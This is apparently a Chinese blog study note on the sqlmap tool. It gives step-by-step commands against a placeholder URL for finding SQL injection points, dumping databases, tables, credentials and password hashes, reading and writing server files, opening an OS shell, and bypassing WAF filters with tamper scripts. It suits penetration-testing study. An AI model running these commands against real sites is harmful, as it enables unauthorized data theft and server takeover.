sqlmap学习思路笔记

丶灬走出姿态 提交于 2019-12-19 19:43:33

step1:sqlmap检测注入点

1、sqlmap -u  "http://xxx"(目标url)

2、sqlmap -r  "文件路径/文件名.txt"(目标http请求)

注:第2种情况可用于POST请求、cookie注入、Request请求

若上面方法检测不出来,且最后出现”…Try to increase values for '--level'/'--risk' options if you wish to perform more tests…“字眼

可以利用下面两个方法解决

(1)探测等级:

sqlmap -u  "http://xxx" --level
一共有五个等级,默认为1,级别越高检测越全面,只有level达到2才会检测
HTTP CookieHTTP User-Agent/Referer头在level为3的时候就会检测

(2)风险等级:

sqlmap -u  "http://xxx" --risk

共有四个风险等级,默认为1 ,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试

step2:判断可注入的参数

sqlmap支持五种不同的注入模式:

基于布尔的盲注,可以根据返回页面判断条件真假的注入

基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

基于报错注入,页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

联合查询注入,可以使用 union 的情况下的注入

堆查询注入,可以同时执行多条语句的执行时的注入

注入成功会出现类似如图的信息

step3:读取数据

(1)读取数据库

列出所有数据库:sqlmap -u  "http://xxx"  --dbs  

列出当前数据库:sqlmap -u  "http://xxx" --current-db

(2)读取表

sqlmap -u  "http://xxx" -D 库名 --tables

(3)读取数据表中的字段名

sqlmap -u  "http://xxx" -D 库名 -T 表名 --columns

(4)读取某字段的内容

sqlmap -u  "http://xxx" -D 库名 -T 表名 -C 字段名(如:usename,passeord)--dump

(5)读取用户

列除所有管理用户:sqlmap -u  "http://xxx" --users

当前用户:sqlmap -u  "http://xxx" --current-user

判断是否为管理员用户:sqlmap -u  "http://xxx" --is-dba

step4:补充参数

1、列出数据库用户密码:

sqlmap -u  "http://xxx" --passwords

2、列出数据库管理员权限:

sqlmap -u  "http://xxx" --privilege

3、列出表中数据库个数:

sqlmap -u  "http://xxx" --count

4、从数据库中读取文件:

sqlmap -u  "http://xxx" --file-read “文件名”

把文件上传到数据库中:

sqlmap -u  "http://xxx"  --file-write “文件路径” --file-dest ”服务器路径“

注:当数据库为MySQL、PostgreSQL、Microsoft SQL Server,并且当前用户有权限使用特定的函数。

5、http请求延时:

sqlmap -u  "http://xxx"  --delay

6、设定超时时间:

sqlmap -u  "http://xxx"  --timeout

7、运行自定义的sql语句:

sqlmap -u  "http://xxx"  --sql-query 或者 --sql-shell

8、运行任意操作系统命令:

sqlmap -u  "http://xxx"  --os-cmd 或者 --os-shell

step5:修改数据,绕过WAF等设备

有些系统过滤了比如单引号、空格、select、union、admin等关键词,于是可以使用sqlmap提供的tamper脚本,一定程度上能避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

首先判断过滤了哪些关键词,再选择对应的脚本(可自行查阅网上)

sqlmap -u  "http://xxx" --tamper

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!